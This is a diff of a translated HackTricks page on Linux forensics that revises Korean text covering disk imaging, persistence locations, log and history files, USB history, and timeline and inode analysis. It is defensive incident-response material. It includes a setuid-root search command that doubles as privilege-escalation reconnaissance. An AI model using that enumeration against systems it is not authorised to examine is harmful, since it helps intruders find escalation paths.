@@ -98,9 +99,9 @@ dd if= of= bs=512
dcfldd if= of= bs=512 hash= hashwindow= hashlog=
dcfldd if=/dev/sdc of=/media/usb/pc.image hash=sha256 hashwindow=1M hashlog=/media/usb/pc.hashes
```
-### 디스크 이미지 사전 분석
+### Disk Image pre-analysis
-추가 데이터 없이 디스크 이미지를 이미징합니다.
+더 이상 데이터가 없는 디스크 이미지를 이미징합니다.
```bash
#Find out if it's a disk image using "file" command
file disk.img
@@ -153,26 +154,26 @@ r/r 16: secret.txt
icat -i raw -f ext4 disk.img 16
ThisisTheMasterSecret
```
-
+
\
-[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)를 사용하여 세계에서 가장 **고급** 커뮤니티 도구를 활용한 **워크플로우를 쉽게 구축** 및 **자동화**하세요.\
-오늘 바로 액세스하세요:
+[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)를 사용하여 세계에서 **가장 진보된** 커뮤니티 도구로 구동되는 **워크플로우**를 쉽게 구축하고 **자동화**하세요.\
+오늘 바로 접근하세요:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
-## 알려진 악성 코드 검색
+## 알려진 악성코드 검색
### 수정된 시스템 파일
-Linux는 시스템 구성 요소의 무결성을 보장하는 도구를 제공하여 잠재적으로 문제가 될 수 있는 파일을 식별하는 데 유용합니다.
+Linux는 시스템 구성 요소의 무결성을 보장하는 도구를 제공하여 잠재적으로 문제가 있는 파일을 발견하는 데 중요합니다.
-* **RedHat 기반 시스템**: 포괄적인 확인을 위해 `rpm -Va`를 사용합니다.
-* **Debian 기반 시스템**: 초기 확인을 위해 `dpkg --verify`를 사용한 후 (`apt-get install debsums`로 `debsums`를 설치한 후) `debsums | grep -v "OK$"`를 사용하여 문제를 식별합니다.
+* **RedHat 기반 시스템**: 포괄적인 검사를 위해 `rpm -Va`를 사용하세요.
+* **Debian 기반 시스템**: 초기 검증을 위해 `dpkg --verify`를 사용한 후, `debsums | grep -v "OK$"` (먼저 `apt-get install debsums`로 `debsums`를 설치한 후)로 문제를 식별하세요.
-### 악성 코드/루트킷 탐지기
+### 악성코드/루트킷 탐지기
-악성 코드를 찾는 데 유용한 도구에 대해 알아보려면 다음 페이지를 읽어보세요:
+악성코드를 찾는 데 유용한 도구에 대해 알아보려면 다음 페이지를 읽어보세요:
{% content-ref url="malware-analysis.md" %}
[malware-analysis.md](malware-analysis.md)
@@ -180,12 +181,12 @@ Linux는 시스템 구성 요소의 무결성을 보장하는 도구를 제공
## 설치된 프로그램 검색
-Debian 및 RedHat 시스템에서 효과적으로 설치된 프로그램을 검색하려면 시스템 로그 및 데이터베이스를 활용하고 일반 디렉토리에서 수동 확인을 고려하세요.
+Debian 및 RedHat 시스템에서 설치된 프로그램을 효과적으로 검색하려면 시스템 로그 및 데이터베이스를 활용하고 일반 디렉토리에서 수동 검사를 고려하세요.
-* Debian의 경우 _**`/var/lib/dpkg/status`**_ 및 _**`/var/log/dpkg.log`**_를 검사하여 패키지 설치에 대한 세부 정보를 가져오고, `grep`를 사용하여 특정 정보를 필터링합니다.
-* RedHat 사용자는 RPM 데이터베이스를 쿼리하여 `rpm -qa --root=/mntpath/var/lib/rpm`를 사용하여 설치된 패키지를 나열할 수 있습니다.
+* Debian의 경우, 패키지 설치에 대한 세부 정보를 가져오기 위해 _**`/var/lib/dpkg/status`**_ 및 _**`/var/log/dpkg.log`**_를 검사하고, `grep`을 사용하여 특정 정보를 필터링하세요.
+* RedHat 사용자는 `rpm -qa --root=/mntpath/var/lib/rpm`로 RPM 데이터베이스를 쿼리하여 설치된 패키지를 나열할 수 있습니다.
-이 패키지 관리자 외에 수동으로 또는 이외에 설치된 소프트웨어를 찾으려면 _**`/usr/local`**_, _**`/opt`**_, _**`/usr/sbin`**_, _**`/usr/bin`**_, _**`/bin`**_, _**`/sbin`**_과 같은 디렉토리를 탐색하세요. 디렉토리 목록을 시스템별 명령어와 결합하여 알려진 패키지와 관련이 없는 실행 파일을 식별하여 모든 설치된 프로그램을 검색하세요.
+패키지 관리자 외부에서 수동으로 설치된 소프트웨어를 발견하려면 _**`/usr/local`**_, _**`/opt`**_, _**`/usr/sbin`**_, _**`/usr/bin`**_, _**`/bin`**_, 및 _**`/sbin`**_과 같은 디렉토리를 탐색하세요. 디렉토리 목록과 시스템 특정 명령을 결합하여 알려진 패키지와 관련이 없는 실행 파일을 식별하여 모든 설치된 프로그램을 검색하세요.
```bash
# Debian package and log details
cat /var/lib/dpkg/status | grep -E "Package:|Status:"
@@ -204,14 +205,14 @@ find / -type f -executable | grep
\
-[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)를 사용하여 세계에서 가장 **고급** 커뮤니티 도구로 구동되는 **워크플로우를 쉽게 구축**하고 **자동화**하세요.\
-오늘 바로 액세스하세요:
+[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)를 사용하여 세계에서 **가장 진보된** 커뮤니티 도구로 구동되는 **워크플로우를 쉽게 구축하고 자동화**하세요.\
+오늘 바로 접근하세요:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
-## 삭제된 실행 중인 이진 파일 복구
+## 삭제된 실행 중인 바이너리 복구
-/tmp/exec에서 실행되고 삭제된 프로세스를 상상해보세요. 추출하는 것이 가능합니다.
+/tmp/exec에서 실행된 후 삭제된 프로세스를 상상해 보세요. 이를 추출하는 것이 가능합니다.
```bash
cd /proc/3746/ #PID with the exec file deleted
head -1 maps #Get address of the file. It was 08048000-08049000
@@ -233,137 +234,101 @@ cat /var/spool/cron/crontabs/* \
#MacOS
ls -l /usr/lib/cron/tabs/ /Library/LaunchAgents/ /Library/LaunchDaemons/ ~/Library/LaunchAgents/
```
-### 서비스
+### Services
-악성 소프트웨어가 서비스로 설치될 수 있는 경로:
+악성코드가 서비스로 설치될 수 있는 경로:
-- **/etc/inittab**: rc.sysinit과 같은 초기화 스크립트를 호출하여 시작 스크립트로 이어짐.
-- **/etc/rc.d/** 및 **/etc/rc.boot/**: 서비스 시작을 위한 스크립트를 포함하며, 후자는 이전 Linux 버전에서 발견됨.
-- **/etc/init.d/**: Debian과 같은 특정 Linux 버전에서 시작 스크립트를 저장하는 데 사용됨.
-- 서비스는 또한 Linux 변형에 따라 **/etc/inetd.conf** 또는 **/etc/xinetd/**를 통해 활성화될 수 있음.
-- **/etc/systemd/system**: 시스템 및 서비스 관리자 스크립트를 위한 디렉토리.
-- **/etc/systemd/system/multi-user.target.wants/**: 다중 사용자 런레벨에서 시작해야 하는 서비스에 대한 링크를 포함.
-- **/usr/local/etc/rc.d/**: 사용자 지정 또는 제3자 서비스를 위한 디렉토리.
-- **\~/.config/autostart/**: 사용자별 자동 시작 응용 프로그램을 위한 곳으로, 사용자를 대상으로 한 악성 소프트웨어의 은신처가 될 수 있음.
-- **/lib/systemd/system/**: 설치된 패키지에 의해 제공되는 시스템 전역 기본 유닛 파일.
+* **/etc/inittab**: rc.sysinit과 같은 초기화 스크립트를 호출하여 추가적인 시작 스크립트로 안내합니다.
+* **/etc/rc.d/** 및 **/etc/rc.boot/**: 서비스 시작을 위한 스크립트를 포함하며, 후자는 오래된 리눅스 버전에서 발견됩니다.
+* **/etc/init.d/**: Debian과 같은 특정 리눅스 버전에서 시작 스크립트를 저장하는 데 사용됩니다.
+* 서비스는 리눅스 변형에 따라 **/etc/inetd.conf** 또는 **/etc/xinetd/**를 통해 활성화될 수도 있습니다.
+* **/etc/systemd/system**: 시스템 및 서비스 관리자 스크립트를 위한 디렉토리입니다.
+* **/etc/systemd/system/multi-user.target.wants/**: 다중 사용자 실행 수준에서 시작해야 하는 서비스에 대한 링크를 포함합니다.
+* **/usr/local/etc/rc.d/**: 사용자 정의 또는 타사 서비스를 위한 것입니다.
+* **\~/.config/autostart/**: 사용자 특정 자동 시작 애플리케이션을 위한 것으로, 사용자 타겟 악성코드의 숨겨진 장소가 될 수 있습니다.
+* **/lib/systemd/system/**: 설치된 패키지에서 제공하는 시스템 전체 기본 유닛 파일입니다.
-### 커널 모듈
+### Kernel Modules
-악성 소프트웨어에 의해 루트킷 구성 요소로 자주 사용되는 Linux 커널 모듈은 시스템 부팅 시 로드됩니다. 이러한 모듈에 대한 중요한 디렉토리 및 파일은 다음과 같습니다:
+리눅스 커널 모듈은 종종 악성코드에 의해 루트킷 구성 요소로 사용되며, 시스템 부팅 시 로드됩니다. 이러한 모듈에 중요한 디렉토리 및 파일은 다음과 같습니다:
-- **/lib/modules/$(uname -r)**: 실행 중인 커널 버전의 모듈을 보관.
-- **/etc/modprobe.d**: 모듈 로딩을 제어하는 구성 파일을 포함.
-- **/etc/modprobe** 및 **/etc/modprobe.conf**: 전역 모듈 설정을 위한 파일.
+* **/lib/modules/$(uname -r)**: 실행 중인 커널 버전의 모듈을 보유합니다.
+* **/etc/modprobe.d**: 모듈 로딩을 제어하는 구성 파일을 포함합니다.
+* **/etc/modprobe** 및 **/etc/modprobe.conf**: 전역 모듈 설정을 위한 파일입니다.
-### 기타 자동 시작 위치
+### Other Autostart Locations
-Linux는 사용자 로그인 시 자동으로 프로그램을 실행하기 위해 다양한 파일을 사용하며, 여기에는 악성 소프트웨어가 숨을 수 있는 장소가 있을 수 있습니다:
+리눅스는 사용자 로그인 시 프로그램을 자동으로 실행하기 위해 다양한 파일을 사용하며, 이는 악성코드를 숨길 수 있습니다:
-- **/etc/profile.d/**\*, **/etc/profile**, 및 **/etc/bash.bashrc**: 모든 사용자 로그인에 대해 실행됨.
-- **\~/.bashrc**, **\~/.bash\_profile**, **\~/.profile**, 및 **\~/.config/autostart**: 해당 사용자 로그인 시 실행되는 사용자별 파일.
-- **/etc/rc.local**: 모든 시스템 서비스가 시작된 후 실행되며, 다중 사용자 환경으로의 전환을 표시함.
+* **/etc/profile.d/**\*, **/etc/profile**, 및 **/etc/bash.bashrc**: 모든 사용자 로그인 시 실행됩니다.
+* **\~/.bashrc**, **\~/.bash\_profile**, **\~/.profile**, 및 **\~/.config/autostart**: 사용자 로그인 시 실행되는 사용자 특정 파일입니다.
+* **/etc/rc.local**: 모든 시스템 서비스가 시작된 후 실행되며, 다중 사용자 환경으로의 전환이 끝났음을 나타냅니다.
-## 로그 검사
+## Examine Logs
-Linux 시스템은 다양한 로그 파일을 통해 사용자 활동 및 시스템 이벤트를 추적합니다. 이러한 로그는 무단 접근, 악성 소프트웨어 감염 및 기타 보안 사건을 식별하는 데 중요합니다. 주요 로그 파일은 다음과 같습니다:
+리눅스 시스템은 다양한 로그 파일을 통해 사용자 활동 및 시스템 이벤트를 추적합니다. 이러한 로그는 무단 접근, 악성코드 감염 및 기타 보안 사건을 식별하는 데 중요합니다. 주요 로그 파일은 다음과 같습니다:
-- **/var/log/syslog** (Debian) 또는 **/var/log/messages** (RedHat): 시스템 전체 메시지와 활동을 캡처.
-- **/var/log/auth.log** (Debian) 또는 **/var/log/secure** (RedHat): 인증 시도, 성공 및 실패한 로그인을 기록.
-- `grep -iE "session opened for|accepted password|new session|not in sudoers" /var/log/auth.log`를 사용하여 관련 인증 이벤트를 필터링.
-- **/var/log/boot.log**: 시스템 시작 메시지를 포함.
-- **/var/log/maillog** 또는 **/var/log/mail.log**: 이메일 서버 활동을 기록하며, 이메일 관련 서비스를 추적하는 데 유용.
-- **/var/log/kern.log**: 오류 및 경고를 포함한 커널 메시지를 저장.
-- **/var/log/dmesg**: 장치 드라이버 메시지를 보유.
-- **/var/log/faillog**: 실패한 로그인 시도를 기록하여 보안 침해 조사에 도움.
-- **/var/log/cron**: cron 작업 실행을 로그.
-- **/var/log/daemon.log**: 백그라운드 서비스 활동을 추적.
-- **/var/log/btmp**: 실패한 로그인 시도 문서화.
-- **/var/log/httpd/**: Apache HTTPD 오류 및 액세스 로그를 포함.
-- **/var/log/mysqld.log** 또는 **/var/log/mysql.log**: MySQL 데이터베이스 활동을 기록.
-- **/var/log/xferlog**: FTP 파일 전송을 기록.
-- **/var/log/**: 여기서 예기치 않은 로그를 항상 확인.
+* **/var/log/syslog** (Debian) 또는 **/var/log/messages** (RedHat): 시스템 전체 메시지 및 활동을 캡처합니다.
+* **/var/log/auth.log** (Debian) 또는 **/var/log/secure** (RedHat): 인증 시도, 성공 및 실패한 로그인 기록을 남깁니다.
+* `grep -iE "session opened for|accepted password|new session|not in sudoers" /var/log/auth.log`를 사용하여 관련 인증 이벤트를 필터링합니다.
+* **/var/log/boot.log**: 시스템 시작 메시지를 포함합니다.
+* **/var/log/maillog** 또는 **/var/log/mail.log**: 이메일 서버 활동을 기록하며, 이메일 관련 서비스를 추적하는 데 유용합니다.
+* **/var/log/kern.log**: 오류 및 경고를 포함한 커널 메시지를 저장합니다.
+* **/var/log/dmesg**: 장치 드라이버 메시지를 보유합니다.
+* **/var/log/faillog**: 실패한 로그인 시도를 기록하여 보안 침해 조사에 도움을 줍니다.
+* **/var/log/cron**: 크론 작업 실행을 기록합니다.
+* **/var/log/daemon.log**: 백그라운드 서비스 활동을 추적합니다.
+* **/var/log/btmp**: 실패한 로그인 시도를 문서화합니다.
+* **/var/log/httpd/**: Apache HTTPD 오류 및 접근 로그를 포함합니다.
+* **/var/log/mysqld.log** 또는 **/var/log/mysql.log**: MySQL 데이터베이스 활동을 기록합니다.
+* **/var/log/xferlog**: FTP 파일 전송을 기록합니다.
+* **/var/log/**: 여기에서 예상치 못한 로그를 항상 확인하십시오.
{% hint style="info" %}
-Linux 시스템 로그 및 감사 서브시스템은 침입 또는 악성 소프트웨어 사건에서 비활성화되거나 삭제될 수 있습니다. Linux 시스템의 로그는 일반적으로 악의적 활동에 대한 가장 유용한 정보 중 일부를 포함하므로 침입자는 이를 정기적으로 삭제합니다. 따라서 사용 가능한 로그 파일을 검사할 때 삭제 또는 조작의 흔적 또는 순서가 잘못된 항목을 찾는 것이 중요합니다.
+리눅스 시스템 로그 및 감사 하위 시스템은 침입 또는 악성코드 사건에서 비활성화되거나 삭제될 수 있습니다. 리눅스 시스템의 로그는 일반적으로 악의적인 활동에 대한 가장 유용한 정보를 포함하므로, 침입자는 이를 정기적으로 삭제합니다. 따라서 사용 가능한 로그 파일을 검사할 때는 삭제 또는 변조의 징후일 수 있는 간격이나 순서가 어긋난 항목을 찾는 것이 중요합니다.
{% endhint %}
-**Linux는 각 사용자의 명령 히스토리를 유지합니다**, 다음 위치에 저장됩니다:
+**리눅스는 각 사용자의 명령 기록을 유지합니다**, 저장 위치는 다음과 같습니다:
-- \~/.bash\_history
-- \~/.zsh\_history
-- \~/.zsh\_sessions/\*
-- \~/.python\_history
-- \~/.\*\_history
+* \~/.bash\_history
+* \~/.zsh\_history
+* \~/.zsh\_sessions/\*
+* \~/.python\_history
+* \~/.\*\_history
-또한, `last -Faiwx` 명령을 사용하여 사용자 로그인 목록을 제공합니다. 알 수 없거나 예기치 않은 로그인을 확인하십시오.
+또한, `last -Faiwx` 명령은 사용자 로그인 목록을 제공합니다. 알려지지 않거나 예상치 못한 로그인을 확인하십시오.
추가 권한을 부여할 수 있는 파일을 확인하십시오:
-- 부여되었을 수 있는 예기치 않은 사용자 권한을 확인하려면 `/etc/sudoers`를 검토하십시오.
-- 부여되었을 수 있는 예기치 않은 사용자 권한을 확인하려면 `/etc/sudoers.d/`를 검토하십시오.
-- 비정상적인 그룹 멤버십 또는 권한을 식별하려면 `/etc/groups`를 검토하십시오.
-- 비정상적인 그룹 멤버십 또는 권한을 식별하려면 `/etc/passwd`를 검토하십시오.
+* `/etc/sudoers`에서 예상치 못한 사용자 권한이 부여되었는지 검토합니다.
+* `/etc/sudoers.d/`에서 예상치 못한 사용자 권한이 부여되었는지 검토합니다.
+* `/etc/groups`를 검사하여 비정상적인 그룹 구성원 또는 권한을 식별합니다.
+* `/etc/passwd`를 검사하여 비정상적인 그룹 구성원 또는 권한을 식별합니다.
-일부 애플리케이션은 자체 로그를 생성합니다:
+일부 앱은 자체 로그를 생성합니다:
-- **SSH**: 무단 원격 연결을 나타내는 _\~/.ssh/authorized\_keys_ 및 _\~/.ssh/known\_hosts_를 검토하십시오.
-- **Gnome 데스크톱**: Gnome 애플리케이션을 통해 최근 액세스된 파일을 나타내는 _\~/.recently-used.xbel_을 확인하십시오.
-- **Firefox/Chrome**: 의심스러운 활동을 위해 _\~/.mozilla/firefox_ 또는 _\~/.config/google-chrome_에서 브라우저 히스토리 및 다운로드를 확인하십시오.
-- **VIM**: 액세스된 파일 경로 및 검색 기록과 같은 사용 정보를 나타내는 _\~/.viminfo_를 검토하십시오.
-- **Open Office**: 침해된 파일을 나타낼 수 있는 최근 문서 액세스를 확인하십시오.
-- **FTP/SFTP**: 무단 파일 전송을 나타내는 _\~/.ftp\_history_ 또는 _\~/.sftp\_history_ 로그를 검토하십시오.
-- **MySQL**: 무단 데이터베이스 활동을 나타낼 수 있는 _\~/.mysql\_history_를 조사하십시오.
-- **Less**: 보고된 파일 및 실행된 명령을 포함하는 _\~/.lesshst_를 분석하십시오.
-- **Git**: 저장소 변경 사항을 나타내는 _\~/.gitconfig_ 및 프로젝트 _.git/logs_를 검토하십시오.
+* **SSH**: 무단 원격 연결을 위해 _\~/.ssh/authorized\_keys_ 및 _\~/.ssh/known\_hosts_를 검사합니다.
+* **Gnome Desktop**: Gnome 애플리케이션을 통해 최근에 접근한 파일을 위해 _\~/.recently-used.xbel_를 확인합니다.
+* **Firefox/Chrome**: 의심스러운 활동을 위해 _\~/.mozilla/firefox_ 또는 _\~/.config/google-chrome_에서 브라우저 기록 및 다운로드를 확인합니다.
+* **VIM**: 접근한 파일 경로 및 검색 기록과 같은 사용 세부정보를 위해 _\~/.viminfo_를 검토합니다.
+* **Open Office**: 손상된 파일을 나타낼 수 있는 최근 문서 접근을 확인합니다.
+* **FTP/SFTP**: 무단 파일 전송이 있을 수 있는 _\~/.ftp\_history_ 또는 _\~/.sftp\_history_의 로그를 검토합니다.
+* **MySQL**: 무단 데이터베이스 활동을 드러낼 수 있는 실행된 MySQL 쿼리를 위해 _\~/.mysql\_history_를 조사합니다.
+* **Less**: 본 파일 및 실행된 명령을 포함한 사용 기록을 위해 _\~/.lesshst_를 분석합니다.
+* **Git**: 리포지토리에 대한 변경 사항을 위해 _\~/.gitconfig_ 및 프로젝트 _.git/logs_를 검사합니다.
-### USB 로그
+### USB Logs
-[**usbrip**](https://github.com/snovvcrash/usbrip)는 USB 이벤트 기록 테이블을 작성하기 위해 Linux 로그 파일 (`/var/log/syslog*` 또는 `/var/log/messages*`에 따라 다름)을 구문 분석하는 순수 Python 3으로 작성된 소프트웨어입니다.
+[**usbrip**](https://github.com/snovvcrash/usbrip)는 리눅스 로그 파일(`/var/log/syslog*` 또는 `/var/log/messages*`, 배포판에 따라 다름)을 파싱하여 USB 이벤트 이력 테이블을 구성하는 순수 Python 3로 작성된 작은 소프트웨어입니다.
-**사용된 모든 USB를 알아내는 것**은 중요하며, "위반 이벤트"를 찾기 위해 허가된 USB 목록이 있는 경우 더 유용할 수 있습니다.
+모든 USB 사용 내역을 아는 것은 흥미롭고, "위반 사건"(목록에 없는 USB 사용)을 찾기 위해 승인된 USB 목록이 있다면 더욱 유용할 것입니다.
-### 설치
+### Installation
```bash
pip3 install usbrip
usbrip ids download #Download USB ID database
```
### 예시
-
-#### Basic Forensic Methodology
-
-##### Linux Forensics
-
-1. **Collecting Volatile Data**
- - **Description:** Collecting volatile data involves capturing information that is stored in temporary storage or memory that will be lost when the system is powered off or restarted.
- - **Tools:** `ps`, `top`, `netstat`, `lsof`
-
-2. **Collecting Non-Volatile Data**
- - **Description:** Collecting non-volatile data involves capturing information that is stored on persistent storage devices such as hard drives or SSDs.
- - **Tools:** `dd`, `dc3dd`, `EnCase`, `FTK Imager`
-
-3. **Analyzing Malware**
- - **Description:** Analyzing malware involves examining malicious software to understand its functionality and behavior.
- - **Tools:** `Cuckoo Sandbox`, `Hybrid Analysis`, `VirusTotal`
-
-4. **Timeline Analysis**
- - **Description:** Timeline analysis involves creating a chronological sequence of events based on the evidence collected during the investigation.
- - **Tools:** `log2timeline`, `mactime`, `Plaso`
-
-5. **File Carving**
- - **Description:** File carving involves extracting files from disk images or other storage media when the file system is damaged or incomplete.
- - **Tools:** `Scalpel`, `PhotoRec`, `Foremost`
-
-6. **Memory Analysis**
- - **Description:** Memory analysis involves examining the memory of a system to identify running processes, open network connections, and other volatile data.
- - **Tools:** `Volatility`, `Rekall`, `LiME`
-
-7. **Network Forensics**
- - **Description:** Network forensics involves monitoring and analyzing network traffic to gather evidence for investigating security incidents.
- - **Tools:** `Wireshark`, `tcpdump`, `NetworkMiner`
-
-8. **Reporting**
- - **Description:** Reporting involves documenting the findings of the forensic investigation in a clear and organized manner.
- - **Tools:** `Sleuth Kit`, `Autopsy`, `X-Ways Forensics`
```bash
usbrip events history #Get USB history of your curent linux machine
usbrip events history --pid 0002 --vid 0e0f --user kali #Search by pid OR vid OR user
@@ -371,38 +336,38 @@ usbrip events history --pid 0002 --vid 0e0f --user kali #Search by pid OR vid OR
usbrip ids download #Downlaod database
usbrip ids search --pid 0002 --vid 0e0f #Search for pid AND vid
```
-더 많은 예제 및 정보는 깃허브 내부에 있습니다: [https://github.com/snovvcrash/usbrip](https://github.com/snovvcrash/usbrip)
+More examples and info inside the github: [https://github.com/snovvcrash/usbrip](https://github.com/snovvcrash/usbrip)
\
-[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)를 사용하여 세계에서 가장 **고급** 커뮤니티 도구를 활용한 **워크플로우를 쉽게 구축**하고 **자동화**하세요.\
-오늘 바로 액세스하세요:
+Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
+Get Access Today:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
-## 사용자 계정 및 로그온 활동 검토
+## Review User Accounts and Logon Activities
-_**/etc/passwd**_, _**/etc/shadow**_ 및 **보안 로그**를 조사하여 알려진 무단 이벤트와 밀접한 시기에 생성되거나 사용된 이상한 이름 또는 계정을 확인하십시오. 또한 가능한 sudo 브루트 포스 공격을 확인하십시오.\
-또한, 사용자에게 부여된 예상치 못한 권한을 확인하기 위해 _**/etc/sudoers**_ 및 _**/etc/groups**_와 같은 파일을 확인하십시오.\
-마지막으로, **비밀번호가 없는 계정** 또는 **쉽게 추측할 수 있는** 비밀번호를 가진 계정을 찾아보세요.
+_**/etc/passwd**_, _**/etc/shadow**_ 및 **보안 로그**에서 비정상적인 이름이나 계정을 조사하여 알려진 무단 이벤트와 가까운 시기에 생성되거나 사용된 계정을 확인하십시오. 또한 가능한 sudo 무차별 대입 공격을 확인하십시오.\
+또한, _**/etc/sudoers**_ 및 _**/etc/groups**_와 같은 파일에서 사용자에게 부여된 예상치 못한 권한을 확인하십시오.\
+마지막으로, **비밀번호가 없는** 계정이나 **쉽게 추측할 수 있는** 비밀번호를 가진 계정을 찾아보십시오.
-## 파일 시스템 조사
+## Examine File System
-### 악성 코드 조사를 위한 파일 시스템 구조 분석
+### Analyzing File System Structures in Malware Investigation
-악성 코드 사건을 조사할 때 파일 시스템의 구조는 사건의 순서와 악성 코드의 내용을 드러내는 중요한 정보원입니다. 그러나 악성 코드 작성자들은 파일 타임스탬프를 수정하거나 데이터 저장을 위해 파일 시스템을 피하는 등의 분석을 방해하는 기술을 개발하고 있습니다.
+악성코드 사건을 조사할 때, 파일 시스템의 구조는 사건의 순서와 악성코드의 내용을 드러내는 중요한 정보 출처입니다. 그러나 악성코드 작성자들은 파일 타임스탬프를 수정하거나 데이터 저장을 위해 파일 시스템을 피하는 등의 분석을 방해하는 기술을 개발하고 있습니다.
-이러한 안티 포렌식 방법에 대응하기 위해 다음이 필요합니다:
+이러한 반포렌식 방법에 대응하기 위해서는 다음이 필수적입니다:
-* **Autopsy**와 같은 도구를 사용하여 이벤트 타임라인을 시각화하거나 **Sleuth Kit**의 `mactime`을 사용하여 자세한 타임라인 데이터를 분석하여 **철저한 타임라인 분석**을 수행합니다.
-* 시스템의 $PATH에 있는 **예상치 못한 스크립트**를 조사하십시오. 이는 공격자가 사용하는 쉘 또는 PHP 스크립트를 포함할 수 있습니다.
-* **/dev**에서 **비정상적인 파일**을 조사하십시오. 일반적으로 특수 파일을 포함하지만 악성 코드 관련 파일을 포함할 수도 있습니다.
-* ".. " (점 점 공백) 또는 "..^G" (점 점 제어-G)와 같은 이름의 **숨겨진 파일 또는 디렉토리**를 검색하십시오. 이는 악의적인 콘텐츠를 숨길 수 있습니다.
-* `find / -user root -perm -04000 -print` 명령을 사용하여 **setuid root 파일**을 식별합니다. 이는 공격자가 악용할 수 있는 권한이 상승된 파일을 찾습니다.
-* inode 테이블에서 **삭제 타임스탬프**를 검토하여 대량 파일 삭제를 확인하고 루트킷 또는 트로이 목이 존재할 수 있음을 나타낼 수 있습니다.
-* 하나를 식별한 후 **인접한 악성 파일을 위해 연속된 inode**를 조사하십시오. 이들은 함께 배치될 수 있습니다.
-* **최근 수정된 파일**을 확인하기 위해 일반적인 이진 디렉토리 (_/bin_, _/sbin_)를 확인하십시오. 이는 악성 코드에 의해 변경될 수 있습니다.
+* **Autopsy**와 같은 도구를 사용하여 사건 타임라인을 시각화하거나 **Sleuth Kit의** `mactime`을 사용하여 상세한 타임라인 데이터를 통해 **철저한 타임라인 분석을 수행**하십시오.
+* 공격자가 사용할 수 있는 셸 또는 PHP 스크립트를 포함할 수 있는 시스템의 $PATH에서 **예상치 못한 스크립트를 조사**하십시오.
+* **/dev에서 비정상적인 파일을 검사**하십시오. 전통적으로 특별한 파일이 포함되어 있지만, 악성코드 관련 파일이 있을 수 있습니다.
+* **".. " (dot dot space) 또는 "..^G" (dot dot control-G)와 같은 이름의 숨겨진 파일이나 디렉토리를 검색**하십시오. 이는 악성 콘텐츠를 숨길 수 있습니다.
+* 공격자가 악용할 수 있는 권한이 상승된 파일을 찾기 위해 다음 명령어를 사용하여 **setuid root 파일을 식별**하십시오: `find / -user root -perm -04000 -print`
+* **inode 테이블에서 삭제 타임스탬프를 검토**하여 대량 파일 삭제를 발견하십시오. 이는 루트킷이나 트로이 목마의 존재를 나타낼 수 있습니다.
+* 하나의 악성 파일을 식별한 후 **인접한 inode를 검사**하여 근처에 악성 파일이 있을 수 있습니다.
+* **최근 수정된 파일을 위해 일반 바이너리 디렉토리** (_/bin_, _/sbin_)를 확인하십시오. 이는 악성코드에 의해 변경되었을 수 있습니다.
````bash
# List recent files in a directory:
ls -laR --sort=time /bin```
@@ -411,24 +376,24 @@ ls -laR --sort=time /bin```
ls -lai /bin | sort -n```
````
{% hint style="info" %}
-**공격자**가 **파일을 수정**하여 **파일이 정당해 보이도록 시간을 조작**할 수 있지만 **inode**를 수정할 수는 없습니다. 동일한 폴더 내의 다른 파일들과 동일한 시간에 생성 및 수정되었다는 **파일**을 발견하더라도 **inode**가 **예상치 못하게 크다면**, 해당 **파일의 타임스탬프가 수정**된 것입니다.
+**공격자**는 **파일이 합법적으로 보이도록** **시간**을 **수정**할 수 있지만, **inode**는 **수정**할 수 없습니다. 같은 폴더의 나머지 파일과 **동일한 시간**에 생성 및 수정된 것으로 표시된 **파일**을 발견했지만 **inode**가 **예상보다 더 크다면**, 해당 **파일의 타임스탬프가 수정된 것입니다**.
{% endhint %}
-## 다른 파일 시스템 버전의 파일 비교
+## 서로 다른 파일 시스템 버전 비교
### 파일 시스템 버전 비교 요약
파일 시스템 버전을 비교하고 변경 사항을 파악하기 위해 간소화된 `git diff` 명령을 사용합니다:
-* **새 파일을 찾으려면**, 두 디렉토리를 비교합니다:
+* **새로운 파일을 찾으려면**, 두 디렉토리를 비교합니다:
```bash
git diff --no-index --diff-filter=A path/to/old_version/ path/to/new_version/
```
-* **수정된 내용에 대해**, 특정 라인을 무시하고 변경 사항을 나열하십시오:
+* **수정된 콘텐츠**: 특정 라인을 무시하고 변경 사항을 나열합니다:
```bash
git diff --no-index --diff-filter=M path/to/old_version/ path/to/new_version/ | grep -E "^\+" | grep -v "Installed-Time"
```
-* **삭제된 파일을 감지하려면**:
+* **삭제된 파일을 감지하기 위해**:
```bash
git diff --no-index --diff-filter=D path/to/old_version/ path/to/new_version/
```
@@ -437,37 +402,37 @@ git diff --no-index --diff-filter=D path/to/old_version/ path/to/new_version/
* `C`: 복사된 파일
* `D`: 삭제된 파일
* `M`: 수정된 파일
-* `R`: 이름이 바뀐 파일
+* `R`: 이름이 변경된 파일
* `T`: 유형 변경 (예: 파일에서 심볼릭 링크로)
* `U`: 병합되지 않은 파일
* `X`: 알 수 없는 파일
* `B`: 손상된 파일
-## 참고 자료
+## References
* [https://cdn.ttgtmedia.com/rms/security/Malware%20Forensics%20Field%20Guide%20for%20Linux%20Systems\_Ch3.pdf](https://cdn.ttgtmedia.com/rms/security/Malware%20Forensics%20Field%20Guide%20for%20Linux%20Systems\_Ch3.pdf)
* [https://www.plesk.com/blog/featured/linux-logs-explained/](https://www.plesk.com/blog/featured/linux-logs-explained/)
* [https://git-scm.com/docs/git-diff#Documentation/git-diff.txt---diff-filterACDMRTUXB82308203](https://git-scm.com/docs/git-diff#Documentation/git-diff.txt---diff-filterACDMRTUXB82308203)
-* **책: Malware Forensics Field Guide for Linux Systems: Digital Forensics Field Guides**
+* **책: Linux 시스템을 위한 악성코드 포렌식 필드 가이드: 디지털 포렌식 필드 가이드**
-제로부터 영웅이 될 때까지 AWS 해킹 배우기htARTE (HackTricks AWS Red Team Expert)!
